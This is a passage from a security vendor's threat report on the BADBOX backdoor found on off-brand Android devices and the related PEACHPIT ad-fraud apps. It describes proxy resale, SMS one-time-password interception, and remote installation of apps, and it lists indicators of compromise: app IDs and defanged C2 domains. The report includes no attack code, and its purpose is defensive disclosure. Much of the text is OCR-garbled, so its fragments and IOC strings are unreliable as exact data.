"mimeType": "text"
"size": 18,
“text": "404 p

Figure 35: 404 error after timeout
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Satori researchers captured several requests suggesting this proxy service was actively in use:
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Figure 36: Network traffic from the mentioned C2 servers referring instagram[. Jcom, jd-sports[.Jcom[. Jau and nike[. Jcom respectively

The threat actors behind BADBOX made this OUR ADVANTAGES
residential proxy service commercially available to
interested customers(Figure 38).

With the C2s powering the initial BADBOX infection @ @

dOWn new nOdeS Of the reSidential prOXy SerVice Real residential ips Real mobile ips Countries High availability
aren’t presently being added. But existing nodes of HOMF | [PRODUCTS | SFRVICFS ‘ cT 10GN
the service remain active.

PRODUCTS

We provide different network Lype wilh efficient and flexible APIs Lo meel all your needs

dynamic proxy from more than 50 countries around the
AlLIPs support Sockss/HTTP proxy protocol. We .
1sability through the intelligent screening Mobile proxy
plicable to various
charge records are open and ple 0 0 rios that require

ckages according to your own high IP quality. AULIPS are
detected and blocked. Each IP absolutely true and reliable
is exclusive without any without an
restrictions. All your requesls
arc cxactly the same as natural

Figure 37: Screenshots of residential proxy service based on BADBOX backdoor
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One-Time Passwords:
OTP Theft and Fake Accounts

OTPs are a common login or account creation
mechanism for many high-profile platforms. The
level at which BADBOX infects devices, however,
allows the threat actors to intercept text messages
before they reach the user.

While the Satori team isn't certain of the specific
purpose or intent of the OTP theft module of
BADBOX, there are several possible explanations:

 Undermining multi-factor authentication (MFA)
for device owners by intercepting confirmation
codes, thus facilitating account takeover

« Preventing users from receiving notifications of
account compromise

- Enabling new/fake account creation across a
host of platforms that require double opt-in/MFA

Satori researchers found that BADBOX-infected
devices were capable of creating Gmail and
WhatsApp accounts in the background. The reason
for this particular attack is also unclear, but the
module could serve any of the following purposes:

- Creating a secondary-revenue stream—after the
highly-profitable ad fraud scheme (described
below)and the above residential proxy services—
selling these accounts to other threat actors

« Preparing for future astroturfing campaigns for
reviews of apps developed by the threat actors,
or as working email addresses for staging the
apps themselves on major marketplaces

« Aiding in the interception of OTPs, as some OTPs
are sent via email rather than via text message

Remote Un-permissioned
Code Installation

Finally, after its initial C2 connection, BADBOX-
backdoored smartphones, tablets, and CTV boxes
begin contacting a second C2, the purpose of
which is to—without permission from the user—
update software and remotely install new software
or code onto the device. This connection, as noted
above, periodically updates the malware on the
device to ensure each device remains part of the
botnet. This second C2 shares an ASN with the
primary C2 delivering the fraud modules through
the backdoor.

The level at which

BADBOX infects devices

allows the threat

actors to intercept text

messages before they
reach the user.

Trojans All the Way Down: BADBOX and PEACHPIT
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7. BADBOX Today

—> As of this writing, PEACHPIT has been
disrupted, while the other components of
BADBOX are dormant. Many—possibly all—of the
C2s associated with the BADBOX campaign have
been taken down by the threat actors. This should
not be construed as “over”, though; the Satori team
believes the threat actors behind BADBOX are
simply reconfiguring their schemes to try to find a
new way forward.

HUMAN customers have been protected from
the impacts of PEACHPIT since its discovery.
HUMAN's work to protect the programmatic
advertising ecosystem dramatically reduced the
influence of PEACHPIT on the digital advertising
supply chain, and that interruption has not gone
unnoticed by the threat actors.

During the investigation, one manufacturer of
BADBOX-infected devices offered over-the-
air (OTA) updates to their devices for any app
developer. When one of our researchers posed as
an app developer and contacted the manufacturer
for more information on this capability, the
researcher was assured any APK could be
remotely installed on the manufacturer’s devices,
even without the user’s consent.

Earlier this year, the Satori team observed an
update to BADBOX-infected devices. After
HUMAN's early mitigation measures curtailed
PEACHPIT's effectiveness, the modules powering
PEACHPIT (on BADBOX-infected devices) and
other fraud were removed from the library.

& January 14th update & January 30th update
File View MNavigation Tools Help File view Navigation Tools Help
B S B2 Tk Q66 B & S B =K Q
classes.dex = classes.dex
v & Source code v @ Source code
> MMa.a.a ‘—proxy support com,android. soplugin

> B ca.fm.ub > I Resources

=

- [l com [ summar 3
B SridFoid saihe package similar
g ‘___,-- imple tation some differences
» 8 soplugin
> Bmutil.hKg
» I® asshow.asshow ‘_ ijermobi adfraud
> = debby = —_— proxy support
> M 1iberty.1lib e other dropper
> Bunia.y <—— liflely the residential proxy node
» bg.c
> I Resources
] summary

Updated classes.dex library

The possibility of remote relaunch of BADBOX means that even with
the C2s taken down and fraud modules removed, BADBOX-infected
devices remain a threat. Satori researchers will continue to monitor
the threat actors behind both BADBOX and PEACHPIT with the aim of
shutting down the operation for good.

To that end, the Satori team uncovered considerable detail about
the hardware supply chain that created, infected, and distributed
BADBOX-associated devices worldwide, and about the Chinese
app developers—and their American shell company counterparts—
behind PEACHPIT. All of this information has been shared with law
enforcement, as will any additional details uncovered in subsequent
research.

Members of the Human Collective, an information- and resource-
sharing organization founded in 2021, received early debriefs about
BADBOX and PEACHPIT, as did select partners. These organizations
are fully apprised of the threat BADBOX and PEACHPIT pose and
have committed to sharing any new insights with the Satori team for
further investigation.



https://www.humansecurity.com/company/the-human-collective
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Conclusion

—> While the disruption of BADBOX is a victory
for the cybersecurity community, research must
continue into the supply chain that allowed the
threat to develop in the first place. For every fraud
scheme broken up by HUMAN and others, there
are more threat actors ready to fill the vacuum.

That's what makes disrupting the economics
of cybercrime so important. Raise the cost to
attackersand lower the cost to defenders; shorten
the window of opportunity for any given threat
actor and make it less profitable.

HUMAN is uniquely positioned to aid in that
transformation with a modern defense strategy:

« The unmatched visibility HUMAN has into
internet interactions—more than 20 trillion
verified each week across billions of unique
devices—affords the Satori team more
information from which to find new and
emerging threats

A network effect of our partners in the Human
Collective and more than 500 HUMAN customers,

creating a collective protection in which an
attack on one becomes a defense for all
Disruptions and takedowns of attacks like
BADBOX, built on decades of collective
experience in fighting cybercrime

Trojans All the Way Down: BADBOX and PEACHPIT

Users, too, can help with the continued fight
against schemes like BADBOX in the future:

If possible try to avoid off-brand devices like the
smartphones, tablets, and CTV boxes described
above as these devices were not Play Protect-
certified Android devices; users can check if
their device is Play Protect-certified

Be wary of copycat or clone apps, and ensure
you understand the origin of any app you
download

Be vigilant; if a device is behaving oddly (for
example, showing ads when one wouldn't be
expected), consider restoring to factory settings
to remove any compromised apps

As noted above, BADBOX-infected devices cannot
be “fixed” by the average user, and given the
threat of OTA updates from the manufacturer
relaunching the operation, these devices should
be retired to sever their connections to the C2s
powering the operation.

Satori researchers will continue to monitor the
manufacturers of BADBOX-infected devices, the
threat actors deploying the backdoor, and the
developers of the PEACHPIT apps for signs of
adaptation.
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Appendix: Indicators of Compromise

List of PEACHPIT Applications

0s App Bundle/Domain 0s App Bundle/Domain
Android sixpack.sixpackabs.absworkout. i0S 1517363877
abexercises.tv i0S com.FemalFitness.FemalFitness
Android absworkout.femalefitness.work- /1533374433
outforwomen.loseweight.tv i0S com.novastudio.waterreminder /
Android app.cobo.launcher 1576151953
Android app.health.drink.water.reminder. i0S com.tunahanx.icon / 1555060905
tracker.proapp i0S com.wallpapershelves.Wallpaper-
Android com.xz.haiyouxiwang.goo Shelves / 1473496232
Android imoblife.androidsensorbox i0S com.fancygames.sudoku /
Android sixpack.sixpackabs.absworkout. 1632877713
abexercises i0S 1614614851
Android merge.ball.mergeball.mergego- i0S com.Ellipal.Ellipal / 1426179665
dball i0S meditation.whitenoise.fitness.
Android sand.balls.sandballio.sandrolling- app / 1469189464
balls i0S com.fancy.yoga / 1635923088
Android whitenoise.sleepsound.relax- com.epicat.Photomate /
sound.babysleep i0S 1484469491
Android word.connect.games.world. 1614614851
wordforest i0S
Android com.bj.zhetengjiuyougian.goo . com.charlesfayal.inspire /
Android grcodereader.qrscanner.barco- o 1115067550
descanner 03 com.yushuo.WordSpell /
Android com.rubbergames.rubbermanid 1637443579
Android  twozerogame.mergepuzzle. i0S com.jes.wheel /1441964326
mergeballs com.idlerenttycoon.game /
Android  english.novels.free.books.offline. i0S 1483313949
novel
Android imoblife.batterybooster
Android spaceminer.space.miner
Android com.yg.starcleaner
Android easybrain.square.puzzle.sudoku

oo  The off-brand devices discovered to be infected
'!' were not Play Protect certified Android devices.
Users can take these steps to check if their device is
Play Protect certified.



https://www.android.com/certified/
https://support.google.com/googleplay/answer/7165974?sjid=12136882152880899063-NA
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Appendix: Indicators of Compromise (continued)

C2 Servers

Domain Operation
cbphe[.]Jcom BADBOX
cbpheback[.]com BADBOX
yexrl[.Jcom BADBOX
deylog[.Jcom BADBOX
flyermobi[ . Jcom PEACHPIT

have made their
way into numerous unsuspecting hands
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defense to disrupt the economics of cybercrime by increasing the cost to cybercriminals while simultaneously reducing
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